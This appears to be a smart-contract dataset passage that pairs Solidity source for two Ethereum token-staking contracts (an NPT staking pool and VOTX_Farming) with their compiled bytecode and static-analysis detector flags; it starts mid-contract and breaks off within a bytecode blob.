uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(NPT).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(NPT).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedNPT(address staker) external view returns(uint256 stakedNPT){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the NPT balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourNPTBalance(address user) external view returns(uint256 NPTBalance){
return IERC20(NPT).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063bf9befb111610066578063bf9befb1146101ea578063ca84d591146101f2578063de86038a1461020f578063f2fde38b14610235576100ea565b80638da5cb5b146101bd578063997664d7146101c5578063b53d6c24146101cd576100ea565b80634baf782e116100c85780634baf782e146101455780634df9d6ba1461014d5780636ac1433e1461017357806384c9faed14610197576100ea565b8063146ca531146100ef57806329652e86146101095780632c75bcda14610126575b600080fd5b6100f761025b565b60408051918252519081900360200190f35b6100f76004803603602081101561011f57600080fd5b5035610261565b6101436004803603602081101561013c57600080fd5b5035610273565b005b6101436104f9565b6100f76004803603602081101561016357600080fd5b50356001600160a01b031661067f565b61017b610755565b604080516001600160a01b039092168252519081900360200190f35b6100f7600480360360208110156101ad57600080fd5b50356001600160a01b0316610764565b61017b6107e7565b6100f76107f6565b610143600480360360208110156101e357600080fd5b50356107fc565b6100f76108c9565b6101436004803603602081101561020857600080fd5b50356108cf565b6100f76004803603602081101561022557600080fd5b50356001600160a01b0316610a8c565b6101436004803603602081101561024b57600080fd5b50356001600160a01b0316610aa7565b60085481565b600a6020526000908152604090205481565b3360009081526009602052604090205481118015906102925750600081115b6102e3576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610311600a6103056004546102f986610b09565b9063ffffffff610b4016565b9063ffffffff610ba216565b9050600061031e33610be4565b3360008181526009602052604090206004018054830190556001549192506001600160a01b039091169063a9059cbb906103588686610cbc565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156103a757600080fd5b505af11580156103bb573d6000803e3d6000fd5b505050506040513d60208110156103d157600080fd5b5051610424576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b33600090815260096020526040902054610444908463ffffffff610cbc16565b3360009081526009602052604090209081556001810182905560055460028083019190915560085460039092019190915554610486908463ffffffff610cbc16565b6002819055156104995761049982610cfe565b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336104cb858563ffffffff610cbc16565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b33600090815260096020526040902060020154600554111561067d57600061052033610be4565b3360009081526009602052604090206004015490915061054790829063ffffffff610def16565b3360008181526009602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b1580156105b257600080fd5b505af11580156105c6573d6000803e3d6000fd5b505050506040513d60208110156105dc57600080fd5b50516106195760405162461bcd60e51b815260040180806020018281038252602c815260200180610fff602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600960205260409020600181019190915560085460038201556005546002909101555b565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a909252822054600554929384936106d493919261030592916102f99163ffffffff610cbc16565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610725926102f9919063ffffffff610cbc16565b8161072c57fe5b6001600160a01b0394909416600090815260096020526040902060040154930601909101919050565b6001546001600160a01b031681565b600154604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156107b557600080fd5b505afa1580156107c9573d6000803e3d6000fd5b505050506040513d60208110156107df57600080fd5b505192915050565b6000546001600160a01b031681565b60055481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561085657600080fd5b505af115801561086a573d6000803e3d6000fd5b505050506040513d602081101561088057600080fd5b50516108bd5760405162461bcd60e51b815260040180806020018281038252603081526020018061107a6030913960400191505060405180910390fd5b6108c681610cfe565b50565b60025481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561092957600080fd5b505af115801561093d573d6000803e3d6000fd5b505050506040513d602081101561095357600080fd5b50516109905760405162461bcd60e51b815260040180806020018281038252602e81526020018061104c602e913960400191505060405180910390fd5b600254600090156109b2576109af600a6103056003546102f986610b09565b90505b600254156109c3576109c381610cfe565b60006109ce33610be4565b3360009081526009602052604090206004810180548301905554909150610a0b906109ff858563ffffffff610cbc16565b9063ffffffff610def16565b336000908152600960205260409020908155600181018290556005546002820155600854600390910155610a57610a48848463ffffffff610cbc16565b6002549063ffffffff610def16565b6002557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336104cb858563ffffffff610cbc16565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b03163314610abe57600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610b1d83606463ffffffff610e4916565b90506000610b3861271061030584606463ffffffff610b4016565b949350505050565b600082610b4f57506000610b9c565b82820282848281610b5c57fe5b0414610b995760405162461bcd60e51b815260040180806020018281038252602181526020018061102b6021913960400191505060405180910390fd5b90505b92915050565b6000610b9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e63565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a90925282205460055492938493610c3993919261030592916102f99163ffffffff610cbc16565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610c8a926102f9919063ffffffff610cbc16565b81610c9157fe5b6001600160a01b03949094166000908152600960205260409020600401805491909406019092555090565b6000610b9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b6000610d1b6006546109ff60075485610b4090919063ffffffff16565b90506000610d3460025483610ba290919063ffffffff16565b9050610d4b60025483610f5f90919063ffffffff16565b600655600554610d61908263ffffffff610def16565b600555600854600019016000908152600a6020526040902054610d8a908263ffffffff610def16565b600880546000908152600a602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600082820183811015610b99576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610e5a57fe5b04029392505050565b60008183610eef5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610efb57fe5b0495945050505050565b60008184841115610f575760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610eb4578181015183820152602001610e9c565b505050900390565b6000610b9983836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183610feb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610eb4578181015183820152602001610e9c565b50828481610ff557fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212207e115f58a23b20b91df2f07bd097d732dfd16f42c2aaba3cf12239dbb1c7f72264736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,037 |
0x2b2485BBC9a2b20b2107B237D4ed4CEfF7a31714
|
/**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
pragma solidity >=0.7.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VOTX_Farming is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// UNI-V2 token contract address
address public constant tokenDepositAddress = 0x40Ba9b6421D584CeC10330F882C5A343D8466b71;
// VOTX token contract address
address public constant tokenRewardAddress = 0xF94D66fb399a98b33563D87447B41A6A75bfFDF0;
// Reward rate 375.00% per year
uint public rewardRate = 22500000;
uint public constant rewardInterval = 365 days;
// Claiming fee 1 percent
uint public constant rewardsFee = 100;
// Unstaking possible after 30 days
uint public constant unstakeTime = 30 days;
// Claiming possible after 30 days
uint public constant claimTime = 30 days;
// Pool size = 350 UNI-V2
uint public constant maxPoolSize = 350000000000000000000;
uint public poolSize = 350000000000000000000;
// Total rewards = 65000 VOTX
uint public constant rewardsAvailable = 65000000000000000000000;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
bool public ended ;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime; //used for the unstaking locktime
mapping (address => uint) public lastClaimedTime; //used for the claiming locktime
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
//End the staking pool.
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
for(uint i = 0; i < holders.length(); i = i.add(1)){
rewardEnded[holders.at(i)] = getPendingDivs(holders.at(i));
}
ended = true;
return true;
}
function getRewardsLeft() public view returns (uint){
uint _res;
if(ended){
_res = 0;
}else{
uint totalPending;
for(uint i = 0; i < holders.length(); i = i.add(1)){
totalPending = totalPending.add(getPendingDivs(holders.at(i)));
}
_res = rewardsAvailable.sub(totalClaimedRewards).sub(totalPending);
}
return _res;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint fee = pendingDivs.mul(rewardsFee).div(1e4);
uint reward = pendingDivs.sub(fee);
require(Token(tokenRewardAddress).transfer(owner, fee), "Could not transfer tokens.");
require(Token(tokenRewardAddress).transfer(account, reward), "Could not transfer tokens.");
rewardEnded[account] = 0;
totalEarnedTokens[account] = totalEarnedTokens[account].add(reward);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint pendingDivs;
if(!ended){
uint timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
}else{
pendingDivs = rewardEnded[_holder];
}
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(amountToStake <= poolSize, "No space available");
require(Token(tokenDepositAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
poolSize = poolSize.sub(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
stakingTime[msg.sender] = block.timestamp;
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
if(!ended){
require(block.timestamp.sub(stakingTime[msg.sender]) > unstakeTime, "You recently staked, please wait before withdrawing.");
}
updateAccount(msg.sender);
require(Token(tokenDepositAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
poolSize = poolSize.add(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
if(!ended){
require(block.timestamp.sub(lastClaimedTime[msg.sender]) > claimTime, "Not yet");
}
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenDepositAddress && _tokenAddr != tokenRewardAddress, "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80638da5cb5b11610104578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b146107b7578063f3f91fa0146107fb578063fc558a7114610853578063ff50abdc14610887576101cf565b8063d578ceab1461073d578063d7e527451461075b578063e7a7250a14610779578063efbe1c1c14610797576101cf565b8063bec4de3f116100de578063bec4de3f14610651578063c326bf4f1461066f578063c3e5ae53146106c7578063c5579dc01461071f576101cf565b80638da5cb5b1461059757806398896d10146105cb578063b6b55f2514610623576101cf565b8063308feec3116101715780636270cd181161014b5780636270cd181461047f5780636a395ccb146104d75780637b0a47ee14610545578063872a451814610563576101cf565b8063308feec3146103eb5780634ec18db914610409578063583d42fd14610427576101cf565b806319aa70e7116101ad57806319aa70e71461037757806327b3bf11146103815780632bb14e1d1461039f5780632e1a7d4d146103bd576101cf565b806312307917146101d457806312fa6feb146101f25780631911cf4a14610212575b600080fd5b6101dc6108a5565b6040518082815260200191505060405180910390f35b6101fa610967565b60405180821515815260200191505060405180910390f35b6102486004803603604081101561022857600080fd5b81019080803590602001909291908035906020019092919050505061097a565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561029757808201518184015260208101905061027c565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102d95780820151818401526020810190506102be565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561031b578082015181840152602081019050610300565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561035d578082015181840152602081019050610342565b505050509050019850505050505050505060405180910390f35b61037f610c93565b005b610389610d7c565b6040518082815260200191505060405180910390f35b6103a7610d83565b6040518082815260200191505060405180910390f35b6103e9600480360360208110156103d357600080fd5b8101908080359060200190929190505050610d88565b005b6103f3611166565b6040518082815260200191505060405180910390f35b610411611177565b6040518082815260200191505060405180910390f35b6104696004803603602081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117d565b6040518082815260200191505060405180910390f35b6104c16004803603602081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611195565b6040518082815260200191505060405180910390f35b610543600480360360608110156104ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ad565b005b61054d6113b9565b6040518082815260200191505060405180910390f35b61056b6113bf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61059f6113d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61060d600480360360208110156105e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113fb565b6040518082815260200191505060405180910390f35b61064f6004803603602081101561063957600080fd5b81019080803590602001909291905050506115c6565b005b6106596119b5565b6040518082815260200191505060405180910390f35b6106b16004803603602081101561068557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119bd565b6040518082815260200191505060405180910390f35b610709600480360360208110156106dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d5565b6040518082815260200191505060405180910390f35b6107276119ed565b6040518082815260200191505060405180910390f35b6107456119fa565b6040518082815260200191505060405180910390f35b610763611a00565b6040518082815260200191505060405180910390f35b610781611a07565b6040518082815260200191505060405180910390f35b61079f611a15565b60405180821515815260200191505060405180910390f35b6107f9600480360360208110156107cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb7565b005b61083d6004803603602081101561081157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d06565b6040518082815260200191505060405180910390f35b61085b611d1e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61088f611d36565b6040518082815260200191505060405180910390f35b600080600560009054906101000a900460ff16156108c65760009050610960565b600080600090505b6108d86006611d3c565b81101561092a5761090d6108fe6108f9836006611d5190919063ffffffff16565b6113fb565b83611d6b90919063ffffffff16565b9150610923600182611d6b90919063ffffffff16565b90506108ce565b5061095c8161094e600354690dc3a8351f3d86a00000611d8790919063ffffffff16565b611d8790919063ffffffff16565b9150505b8091505090565b600560009054906101000a900460ff1681565b60608060608084861061098c57600080fd5b60006109a18787611d8790919063ffffffff16565b905060008167ffffffffffffffff811180156109bc57600080fd5b506040519080825280602002602001820160405280156109eb5781602001602082028036833780820191505090505b50905060008267ffffffffffffffff81118015610a0757600080fd5b50604051908082528060200260200182016040528015610a365781602001602082028036833780820191505090505b50905060008367ffffffffffffffff81118015610a5257600080fd5b50604051908082528060200260200182016040528015610a815781602001602082028036833780820191505090505b50905060008467ffffffffffffffff81118015610a9d57600080fd5b50604051908082528060200260200182016040528015610acc5781602001602082028036833780820191505090505b50905060008b90505b8a811015610c78576000610af3826006611d5190919063ffffffff16565b90506000610b0a8e84611d8790919063ffffffff16565b905081878281518110610b1957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610b9f57fe5b602002602001018181525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610bf757fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c4f57fe5b6020026020010181815250505050610c71600182611d6b90919063ffffffff16565b9050610ad5565b50838383839850985098509850505050505092959194509250565b600560009054906101000a900460ff16610d715762278d00610cfd600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d8790919063ffffffff16565b11610d70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610d7a33611d9e565b565b62278d0081565b606481565b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600560009054906101000a900460ff16610efe5762278d00610ea7600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d8790919063ffffffff16565b11610efd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061251a6034913960400191505060405180910390fd5b5b610f0733611d9e565b7340ba9b6421d584cec10330f882c5a343d8466b7173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f8c57600080fd5b505af1158015610fa0573d6000803e3d6000fd5b505050506040513d6020811015610fb657600080fd5b8101908080519060200190929190505050611039576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e